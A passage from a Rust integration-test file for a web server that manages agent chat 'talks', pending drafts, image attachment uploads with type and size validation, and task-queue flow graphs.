12171 with no drainer - the reclaimed turn was dropped along with \
12172 the handler future (pending {:?}, {} turns)",
12173 fresh.pending,
12174 fresh.turns.len()
12175 );
12176 }
12177 }
12178
12179 #[tokio::test]
12180 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
12181 let (_tmp, _repo, f) = talk_fixture().await;
12182 let id = f.post("/api/talks", None).await.json()["id"]
12183 .as_str()
12184 .expect("id")
12185 .to_owned();
12186 let store = f.talks();
12187 let mut recovered = store.get(&id).expect("opened talk");
12188 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
12189 .expect("persist pending draft without a live turn");
12190
12191 let edited = f
12192 .post(
12193 &format!("/api/talks/{id}/pending/edit"),
12194 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
12195 )
12196 .await;
12197 assert_eq!(edited.status, 200, "{}", edited.body);
12198 assert!(edited.json()["thinking"].as_bool().unwrap());
12199
12200 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
12201 for _ in 0..SETTLE_STEPS {
12202 if detail["turns"].as_array().expect("turns").len() == 2 {
12203 break;
12204 }
12205 tokio::time::sleep(Duration::from_millis(10)).await;
12206 detail = f.get(&format!("/api/talks/{id}")).await.json();
12207 }
12208 let turns = detail["turns"].as_array().expect("turns");
12209 assert_eq!(
12210 turns.len(),
12211 2,
12212 "the recovered draft must run once: {detail}"
12213 );
12214 assert_eq!(turns[0]["body"], "corrected");
12215 assert_eq!(detail["pending"], "");
12216 }
12217
12218 #[tokio::test]
12219 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
12220 let tmp = TempDir::new().expect("tempdir");
12221 let repo = tmp.path().join("repo");
12222 std::fs::create_dir_all(&repo).expect("repo dir");
12223 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
12224 let f = Fixture::with_repo(repo).await;
12225 let id = f.post("/api/talks", None).await.json()["id"]
12226 .as_str()
12227 .expect("id")
12228 .to_owned();
12229 let store = f.talks();
12230 let mut recovered = store.get(&id).expect("opened talk");
12231 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
12232 .expect("persist pending draft without a live turn");
12233
12234 let refused = f
12235 .post(
12236 &format!("/api/talks/{id}/say"),
12237 Some(r#"{"text":"new message"}"#),
12238 )
12239 .await;
12240 assert_eq!(refused.status, 409, "{}", refused.body);
12241 assert!(refused.body.contains("resume"), "{}", refused.body);
12242 let saved = store.get(&id).expect("draft remains after refusal");
12243 assert!(saved.turns.is_empty());
12244 assert_eq!(saved.pending, "saved before restart");
12245
12246 let say_path = format!("/api/talks/{id}/say");
12247 let (first, second) = tokio::join!(
12248 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
12249 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
12250 );
12251 assert_eq!(first.status, 409, "{}", first.body);
12252 assert_eq!(second.status, 409, "{}", second.body);
12253 let saved = store
12254 .get(&id)
12255 .expect("draft remains after concurrent refusals");
12256 assert!(saved.turns.is_empty());
12257 assert_eq!(saved.pending, "saved before restart");
12258
12259 let resumed = f
12260 .post(&format!("/api/talks/{id}/pending/resume"), None)
12261 .await;
12262 assert_eq!(resumed.status, 202, "{}", resumed.body);
12263 let duplicate = f
12264 .post(&format!("/api/talks/{id}/pending/resume"), None)
12265 .await;
12266 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
12267
12268 for _ in 0..SETTLE_STEPS {
12269 if store.get(&id).expect("talk").turns.len() == 2 {
12270 break;
12271 }
12272 tokio::time::sleep(Duration::from_millis(10)).await;
12273 }
12274 let finished = store.get(&id).expect("finished talk");
12275 assert_eq!(finished.turns.len(), 2, "{finished:?}");
12276 assert_eq!(finished.turns[0].body, "saved before restart");
12277 assert!(finished.pending.is_empty());
12278 }
12279
12280 #[tokio::test]
12281 async fn an_image_only_recovered_draft_resumes_without_text() {
12282 let (_tmp, _repo, f) = talk_fixture().await;
12283 let id = f.post("/api/talks", None).await.json()["id"]
12284 .as_str()
12285 .expect("id")
12286 .to_owned();
12287 let uploaded = f
12288 .post_bytes(
12289 &format!("/api/talks/{id}/attachments"),
12290 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
12291 PNG_BYTES,
12292 )
12293 .await;
12294 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
12295 let attachment = f
12296 .talks()
12297 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
12298 .expect("attachment metadata")
12299 .expect("stored attachment");
12300 let store = f.talks();
12301 let mut recovered = store.get(&id).expect("opened talk");
12302 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
12303
12304 let resumed = f
12305 .post(&format!("/api/talks/{id}/pending/resume"), None)
12306 .await;
12307 assert_eq!(resumed.status, 202, "{}", resumed.body);
12308 for _ in 0..SETTLE_STEPS {
12309 if store.get(&id).expect("talk").turns.len() == 2 {
12310 break;
12311 }
12312 tokio::time::sleep(Duration::from_millis(10)).await;
12313 }
12314 let finished = store.get(&id).expect("finished talk");
12315 assert_eq!(finished.turns.len(), 2, "{finished:?}");
12316 assert!(finished.turns[0].body.is_empty());
12317 assert_eq!(finished.turns[0].attachments.len(), 1);
12318 assert!(finished.pending_attachments.is_empty());
12319 }
12320
12321 #[tokio::test]
12322 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
12323 let (_tmp, _repo, f) = talk_fixture().await;
12324 let id = f.post("/api/talks", None).await.json()["id"]
12325 .as_str()
12326 .expect("id")
12327 .to_owned();
12328 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
12329 assert_eq!(closed.status, 200, "{}", closed.body);
12330 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
12331 .expect("serialize closed talk");
12332 for (path, body) in [
12333 (format!("/api/talks/{id}/pending/resume"), None),
12334 (
12335 format!("/api/talks/{id}/pending/clear"),
12336 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
12337 ),
12338 (
12339 format!("/api/talks/{id}/pending/edit"),
12340 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
12341 ),
12342 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
12343 ] {
12344 let response = f.post(&path, body).await;
12345 assert_eq!(response.status, 409, "{}", response.body);
12346 }
12347 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
12348 .expect("serialize closed talk");
12349 assert_eq!(
12350 after_clear, before_clear,
12351 "clear must not rewrite a closed talk"
12352 );
12353 }
12354
12355 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
12358
12359 #[tokio::test]
12360 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
12361 let tmp = TempDir::new().expect("tempdir");
12362 let repo = tmp.path().join("repo");
12363 std::fs::create_dir_all(&repo).expect("repo dir");
12364 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
12365 let f = Fixture::with_repo(repo).await;
12366 let id_a = f.post("/api/talks", None).await.json()["id"]
12367 .as_str()
12368 .unwrap()
12369 .to_owned();
12370 let id_b = f.post("/api/talks", None).await.json()["id"]
12371 .as_str()
12372 .unwrap()
12373 .to_owned();
12374
12375 let a = f
12376 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
12377 .await;
12378 assert_eq!(a.status, 202, "{}", a.body);
12379 assert_eq!(a.json()["thinking"], true);
12380 let b = f
12381 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
12382 .await;
12383 assert_eq!(b.status, 202, "{}", b.body);
12384 assert_eq!(b.json()["thinking"], true);
12385
12386 let listed = f.get("/api/talks").await.json();
12387 for id in [&id_a, &id_b] {
12388 let view = listed
12389 .as_array()
12390 .unwrap()
12391 .iter()
12392 .find(|talk| talk["id"] == *id)
12393 .unwrap();
12394 assert_eq!(view["thinking"], true, "{listed}");
12395 }
12396 let repeated = f
12397 .post(
12398 &format!("/api/talks/{id_a}/say"),
12399 Some(r#"{"text":"again"}"#),
12400 )
12401 .await;
12402 assert_eq!(repeated.status, 202, "{}", repeated.body);
12403 assert_eq!(repeated.json()["pending"], "again");
12404 }
12405
12406 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
12409
12410 #[tokio::test]
12411 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
12412 let f = Fixture::start().await;
12413 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
12414
12415 let res = f
12416 .post_bytes(
12417 &format!("/api/talks/{id}/attachments"),
12418 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
12419 PNG_BYTES,
12420 )
12421 .await;
12422 assert_eq!(res.status, 201, "{}", res.body);
12423 let body = res.json();
12424 assert_eq!(body["name"], "shot.png");
12425 assert_eq!(body["mime"], "image/png");
12426 assert_eq!(body["bytes"], PNG_BYTES.len());
12427 let att_id = body["id"].as_str().expect("id").to_owned();
12428 assert_eq!(
12429 att_id.len(),
12430 32,
12431 "the id must never be a client-suppliable path: {att_id}"
12432 );
12433
12434 let got = f
12435 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
12436 .await;
12437 assert_eq!(got.status, 200, "{}", got.body);
12438 assert_eq!(got.header("content-type"), Some("image/png"));
12439 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
12440 assert_eq!(got.bytes, PNG_BYTES);
12441 }
12442
12443 #[tokio::test]
12444 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
12445 let f = Fixture::start().await;
12446 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
12447
12448 let svg = f
12451 .post_bytes(
12452 &format!("/api/talks/{id}/attachments"),
12453 &[("Content-Type", "image/svg+xml")],
12454 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
12455 )
12456 .await;
12457 assert!(
12458 (400..500).contains(&svg.status),
12459 "svg must be refused: {} {}",
12460 svg.status,
12461 svg.body
12462 );
12463 assert!(svg.body.contains("SVG"), "{}", svg.body);
12464
12465 let text = f
12466 .post_bytes(
12467 &format!("/api/talks/{id}/attachments"),
12468 &[("Content-Type", "text/plain")],
12469 b"just some text",
12470 )
12471 .await;
12472 assert!(
12473 (400..500).contains(&text.status),
12474 "an unlisted type must be refused: {} {}",
12475 text.status,
12476 text.body
12477 );
12478
12479 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
12482 let big = f
12483 .post_bytes(
12484 &format!("/api/talks/{id}/attachments"),
12485 &[("Content-Type", "image/png")],
12486 &oversized,
12487 )
12488 .await;
12489 assert_eq!(
12490 big.status,
12491 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
12492 "{}",
12493 big.body
12494 );
12495 }
12496
12497 #[tokio::test]
12498 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
12499 let f = Fixture::start().await;
12500 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
12501
12502 let res = f
12505 .post_bytes(
12506 &format!("/api/talks/{id}/attachments"),
12507 &[("Content-Type", "image/png")],
12508 b"<html>not a picture</html>",
12509 )
12510 .await;
12511 assert!((400..500).contains(&res.status), "{}", res.body);
12512 }
12513
12514 #[tokio::test]
12515 async fn an_unknown_attachment_id_is_a_404() {
12516 let f = Fixture::start().await;
12517 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
12518
12519 let res = f
12520 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
12521 .await;
12522 assert_eq!(res.status, 404, "{}", res.body);
12523 }
12524
12525 #[tokio::test]
12526 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
12527 let f = Fixture::start().await;
12528 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
12529
12530 let uploaded = f
12531 .post_bytes(
12532 &format!("/api/talks/{id}/attachments"),
12533 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
12534 PNG_BYTES,
12535 )
12536 .await;
12537 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
12538 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
12539
12540 let res = f
12541 .post(
12542 &format!("/api/talks/{id}/say"),
12543 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
12544 )
12545 .await;
12546 assert_eq!(res.status, 202, "{}", res.body);
12547 let queued = res.json();
12548 let turns = queued["turns"].as_array().expect("turns array");
12549 assert_eq!(
12550 turns.len(),
12551 1,
12552 "an empty body with an attachment is still a turn: {queued}"
12553 );
12554 assert_eq!(turns[0]["who"], "operator");
12555 assert_eq!(turns[0]["body"], "");
12556 let atts = turns[0]["attachments"]
12557 .as_array()
12558 .expect("attachments array");
12559 assert_eq!(atts.len(), 1);
12560 assert_eq!(atts[0]["id"], att_id);
12561 assert_eq!(atts[0]["mime"], "image/png");
12562
12563 let on_disk = f.talks().get(&id).expect("get");
12566 assert_eq!(on_disk.turns[0].attachments.len(), 1);
12567 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
12568 }
12569
12570 #[tokio::test]
12571 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
12572 let f = Fixture::start().await;
12573 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
12574
12575 let res = f
12576 .post(
12577 &format!("/api/talks/{id}/say"),
12578 Some(&format!(
12579 r#"{{"text":"hi","attachments":["{}"]}}"#,
12580 "a".repeat(32)
12581 )),
12582 )
12583 .await;
12584 assert!((400..500).contains(&res.status), "{}", res.body);
12585 assert!(res.body.contains("unknown attachment"), "{}", res.body);
12586
12587 let on_disk = f.talks().get(&id).expect("get");
12588 assert!(
12589 on_disk.turns.is_empty(),
12590 "a rejected attachment id must not partially record the turn: {:?}",
12591 on_disk.turns
12592 );
12593 }
12594
12595 #[tokio::test]
12596 async fn talk_close_makes_the_talk_refuse_further_turns() {
12597 let f = Fixture::start().await;
12598 let id = seed_talk(&f, "20260904-014455-cd34", "open");
12599
12600 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
12601 assert_eq!(closed.status, 200, "{}", closed.body);
12602 assert_eq!(closed.json()["status"], "closed");
12603
12604 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
12606 assert_eq!(closed_again.status, 200);
12607 assert_eq!(closed_again.json()["status"], "closed");
12608
12609 let said = f
12610 .post(
12611 &format!("/api/talks/{id}/say"),
12612 Some(r#"{"text":"too late"}"#),
12613 )
12614 .await;
12615 assert_eq!(said.status, 409, "{}", said.body);
12616 }
12617
12618 #[tokio::test]
12619 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
12620 let (_tmp, _repo, f) = talk_fixture().await;
12621 let id = f.post("/api/talks", None).await.json()["id"]
12622 .as_str()
12623 .expect("id")
12624 .to_owned();
12625 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
12626 assert_eq!(closed.status, 200, "{}", closed.body);
12627
12628 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
12629 assert_eq!(reopened.status, 200, "{}", reopened.body);
12630 assert_eq!(reopened.json()["status"], "open");
12631
12632 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
12634 assert_eq!(reopened_again.status, 200);
12635 assert_eq!(reopened_again.json()["status"], "open");
12636
12637 let said = f
12638 .post(
12639 &format!("/api/talks/{id}/say"),
12640 Some(r#"{"text":"still there?"}"#),
12641 )
12642 .await;
12643 assert_eq!(
12644 said.status, 202,
12645 "a reopened talk accepts turns again: {}",
12646 said.body
12647 );
12648 }
12649
12650 #[tokio::test]
12651 async fn talk_reopen_on_an_unknown_id_is_404() {
12652 let f = Fixture::start().await;
12653 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
12654 assert_eq!(res.status, 404, "{}", res.body);
12655 }
12656
12657 #[tokio::test]
12658 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
12659 let f = Fixture::start().await;
12660 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
12661
12662 let deleted = f.delete(&format!("/api/talks/{id}")).await;
12663 assert_eq!(deleted.status, 204, "{}", deleted.body);
12664
12665 let after = f.get(&format!("/api/talks/{id}")).await;
12666 assert_eq!(after.status, 404, "{}", after.body);
12667
12668 let listed = f.get("/api/talks").await.json();
12669 assert!(
12670 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
12671 "a deleted talk must not linger in the list: {listed}"
12672 );
12673 }
12674
12675 #[tokio::test]
12676 async fn talk_delete_on_an_unknown_id_is_404() {
12677 let f = Fixture::start().await;
12678 let res = f.delete("/api/talks/nonexistent-id").await;
12679 assert_eq!(res.status, 404, "{}", res.body);
12680 }
12681
12682 #[tokio::test]
12686 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
12687 let f = Fixture::start().await;
12688 let (a, b, gone) = (
12689 "20260902-140501-aaaa",
12690 "20260902-140502-bbbb",
12691 "20260902-140503-cccc",
12692 );
12693 write_run(&f.runs(), a, RunStatus::Stalled);
12694 let mut review = RunState::new(
12695 PathBuf::from("/repo/magi"),
12696 "main".to_owned(),
12697 "0123456789abcdef".to_owned(),
12698 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
12699 .to_owned(),
12700 Config::default(),
12701 );
12702 review.id = b.to_owned();
12703 review.status = RunStatus::Merged;
12704 write_state(&f.runs(), &review);
12705
12706 let mut task = Task::new(
12707 "retry".to_owned(),
12708 "Do the thing".to_owned(),
12709 PathBuf::from("/repo/magi"),
12710 Source::Human,
12711 );
12712 task.start(a.to_owned());
12713 task.stall("quota");
12714 task.start(a.to_owned());
12715 task.start(b.to_owned());
12716 task.start(gone.to_owned());
12717 task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
12719 f.queue().put(&mut task).expect("file the task");
12720
12721 let res = f.get(&format!("/api/queue/{}", task.id)).await;
12722 assert_eq!(res.status, 200, "{}", res.body);
12723 let v = res.json();
12724 let h = v["history"].as_array().expect("history");
12725 assert_eq!(h.len(), 4, "{v}");
12726 assert_eq!(h[0]["kind"], "competition");
12727 assert_eq!(h[0]["status"], "stalled");
12728 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
12729 assert_eq!(h[1]["kind"], "resume", "{v}");
12730 assert!(
12731 h[0]["outcome"]
12732 .as_str()
12733 .unwrap()
12734 .contains("unknown. Pass #2"),
12735 "an earlier pass of a resumed run must not claim the final outcome: {v}"
12736 );
12737 assert!(
12738 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
12739 "{v}"
12740 );
12741 assert!(
12742 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
12743 "an unrecorded cause must not be narrated as an operator park: {v}"
12744 );
12745 assert_eq!(h[2]["kind"], "review");
12746 assert!(
12747 h[2]["description"]
12748 .as_str()
12749 .unwrap()
12750 .contains("magi/aaaa/A")
12751 );
12752 assert_eq!(h[2]["status"], "merged");
12753 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
12754 assert_eq!(v["runs_unreadable"], 1);
12755 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
12756 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
12757 assert_eq!(nodes[4]["note"], "unreadable");
12758 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
12759 assert_eq!(v["instruction"], "Do the thing");
12760 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
12761
12762 let run = f.get(&format!("/api/runs/{a}")).await.json();
12764 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
12765
12766 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
12767 }
12768
12769 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
12770 let mut s = RunState::new(
12771 PathBuf::from("/repo/magi"),
12772 "main".to_owned(),
12773 "0123456789abcdef".to_owned(),
12774 "Do it".to_owned(),
12775 Config::default(),
12776 );
12777 s.status = status;
12778 edit(&mut s);
12779 s
12780 }
12781
12782 fn flow_task(runs: &[&str]) -> Task {
12783 let mut t = Task::new(
12784 "t".to_owned(),
12785 "Do it".to_owned(),
12786 PathBuf::from("/repo/magi"),
12787 Source::Human,
12788 );
12789 for r in runs {
12790 t.start((*r).to_owned());
12791 }
12792 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
12794 t
12795 }
12796
12797 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
12798 let h = task_history(task, |id| {
12799 states
12800 .iter()
12801 .find(|(i, _)| *i == id)
12802 .and_then(|(_, s)| s.clone())
12803 });
12804 task_flow(task, &h, 5, None)
12805 }
12806
12807 fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
12808 crate::queue::FollowUp {
12809 run: "20260901-000000-aaaa".to_owned(),
12810 origin_task: origin_task.map(str::to_owned),
12811 pr: "https://example.com/o/r/pull/1".to_owned(),
12812 findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
12813 .map(str::to_owned)
12814 .to_vec(),
12815 generation: 1,
12816 }
12817 }
12818
12819 fn parent_task() -> Task {
12820 let mut p = flow_task(&[]);
12821 p.title = "Parent title".to_owned();
12822 p.status = TaskStatus::Done;
12823 p
12824 }
12825
12826 #[test]
12827 fn flow_opens_with_the_parent_task_of_a_followup() {
12828 let p = parent_task();
12829 let pid = p.id.clone();
12830 let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
12831 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
12832 let n = &f.nodes[0];
12833 assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
12834 assert_eq!(
12835 n.label,
12836 format!("Follow-up of {}", crate::queue::short(&pid))
12837 );
12838 assert_eq!(n.detail.as_deref(), Some("Parent title"));
12839 assert_eq!(n.status, Some("done"));
12840 assert_eq!(n.status_of, "task");
12841 assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
12842 assert_eq!(f.nodes[1].key, "start");
12843 assert_eq!(f.edges[0].from, "origin");
12844 assert_eq!(
12845 f.edges[0].label,
12846 "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
12847 );
12848 }
12849
12850 #[test]
12851 fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
12852 let o = followup_origin(
12853 &fu(Some("gone")),
12854 |_| None,
12855 |_| {
12856 Some(RunState::new(
12857 std::path::PathBuf::from("."),
12858 "main".to_owned(),
12859 "0".to_owned(),
12860 "t".to_owned(),
12861 crate::config::Config::default(),
12862 ))
12863 },
12864 );
12865 assert!(o.parent.is_none());
12866 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
12867 let n = &f.nodes[0];
12868 assert_eq!(n.status_of, "run");
12869 assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
12870 assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
12871 }
12872
12873 #[test]
12874 fn flow_followup_with_nothing_readable_has_no_link() {
12875 let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
12876 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
12877 let n = &f.nodes[0];
12878 assert_eq!(n.href, None);
12879 assert_eq!(n.note, Some("unreadable"));
12880 assert!(!n.readable);
12881 }
12882
12883 #[test]
12884 fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
12885 let o = followup_origin(&fu(None), |_| None, |_| None);
12886 let mut t = flow_task(&[]);
12887 t.origin_chat = Some("c1".to_owned());
12888 let f = task_flow(&t, &[], 5, Some(&o));
12889 assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
12890 t.source = Source::Agent {
12891 run: "c1".to_owned(),
12892 node: crate::queue::CHAT_NODE.to_owned(),
12893 };
12894 let f = task_flow(&t, &[], 5, Some(&o));
12895 assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
12896 assert_eq!(
12897 (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
12898 ("chat", "origin")
12899 );
12900 }
12901
12902 #[test]
12903 fn followup_origin_encodes_ids_and_survives_a_self_reference() {
12904 let mut p = parent_task();
12905 p.id = "a b/c".to_owned();
12906 let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
12907 assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
12908 }
12909
12910 #[test]
12911 fn flow_opens_with_the_chat_that_queued_the_task() {
12912 let mut t = flow_task(&[]);
12913 t.source = Source::Agent {
12914 run: "a b/c".to_owned(),
12915 node: crate::queue::CHAT_NODE.to_owned(),
12916 };
12917 let f = flow_for(&t, &[]);
12918 assert_eq!(f.nodes[0].key, "chat");
12919 assert_eq!(f.nodes[0].kind, "chat");
12920 assert_eq!(
12921 f.nodes[0].label,
12922 format!("Chat {}", crate::queue::short("a b/c"))
12923 );
12924 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
12925 assert_eq!(f.nodes[1].key, "start");
12926 assert_eq!(
12927 f.edges[0],
12928 FlowEdge {
12929 from: "chat".to_owned(),
12930 to: "start".to_owned(),
12931 label: "queued from chat".to_owned(),
12932 attempt: AttemptCost::None,
12933 }
12934 );
12935 }
12936
12937 #[test]
12938 fn flow_has_no_chat_box_for_other_sources() {
12939 for source in [
12940 Source::Human,
12941 Source::Issue {
12942 number: 3,
12943 repo: "o/r".to_owned(),
12944 },
12945 Source::Agent {
12946 run: "20260904-014455-ab12".to_owned(),
12947 node: "implement".to_owned(),
12948 },
12949 ] {
12950 let mut t = flow_task(&[]);
12951 t.source = source;
12952 let f = flow_for(&t, &[]);
12953 assert_eq!(f.nodes[0].key, "start");
12954 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
12955 assert!(f.edges.iter().all(|e| e.from != "chat"));
12956 }
12957 }
12958
12959 const FA: &str = "20260902-140501-aaaa";
12960 const FB: &str = "20260902-140502-bbbb";
12961
12962 #[test]
12963 fn flow_follows_blocked_retry_merged_to_done() {
12964 let mut t = flow_task(&[FA, FB]);
12965 t.status = TaskStatus::Done;
12966 let f = flow_for(
12967 &t,
12968 &[
12969 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
12970 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
12971 ],
12972 );
12973 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
12974 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
12975 assert_eq!(f.edges.len(), 3);
12976 assert_eq!(f.edges[0].label, "claimed");
12977 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
12978 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
12979 assert_eq!(f.edges[2].label, "merged \u{2192} done");
12980 assert_eq!(
12981 f.nodes[2].href.as_deref(),
12982 Some("#/runs/20260902-140502-bbbb")
12983 );
12984 assert!(f.nodes[2].decided);
12985 }
12986
12987 #[test]
12988 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
12989 let quota = || {
12990 flow_run(RunStatus::Stalled, |s| {
12991 s.quota.push(crate::run::QuotaLoss {
12992 seat: "judge-1".to_owned(),
12993 node: "judge".to_owned(),
12994 at: Timestamp::now(),
12995 reset: None,
12996 })
12997 })
12998 };
12999 let mut t = flow_task(&[FA, FA]);
13000 t.status = TaskStatus::Queued;
13001 let f = flow_for(&t, &[(FA, Some(quota()))]);
13002 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
13003 assert_eq!(f.nodes[1].note, Some("interrupted"));
13004 assert_eq!(
13005 f.nodes[1].status, None,
13006 "no outcome copied onto an earlier pass"
13007 );
13008 assert_eq!(
13009 f.edges[1].attempt,
13010 AttemptCost::Unknown,
13011 "a resume does not prove the earlier pass was refunded"
13012 );
13013 assert!(f.edges[1].label.contains("resume the same run"));
13014 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
13015 assert_eq!(
13016 f.edges[2].label,
13017 "stalled after a resume, refund unknown \u{2192} queued"
13018 );
13019 assert!(!f.nodes[2].decided, "a stall is not a decision");
13020 assert_eq!(f.nodes[2].note, Some("no verdict"));
13021 }
13022
13023 #[test]
13024 fn flow_single_pass_quota_stall_is_refunded() {
13025 let t = flow_task(&[FA]);
13026 let f = flow_for(
13027 &t,
13028 &[(
13029 FA,
13030 Some(flow_run(RunStatus::Stalled, |s| {
13031 s.quota.push(crate::run::QuotaLoss {
13032 seat: "judge-1".to_owned(),
13033 node: "judge".to_owned(),
13034 at: Timestamp::now(),
13035 reset: None,
13036 })
13037 })),
13038 )],
13039 );
13040 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
13041 }
13042
13043 #[test]
13044 fn flow_parked_refunds_and_stall_without_quota_spends() {
13045 let mut t = flow_task(&[FA]);
13046 t.status = TaskStatus::Queued;
13047 let f = flow_for(
13048 &t,
13049 &[(
13050 FA,
13051 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
13052 )],
13053 );
13054 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
13055 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
13056 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
13057 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
13058 assert!(!f.nodes[1].decided);
13059 }
13060
13061 #[test]
13062 fn flow_keeps_an_unreadable_run_as_its_own_node() {
13063 let t = flow_task(&[FA, FB]);
13064 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
13065 assert_eq!(f.nodes[1].note, Some("unreadable"));
13066 assert!(!f.nodes[1].readable);
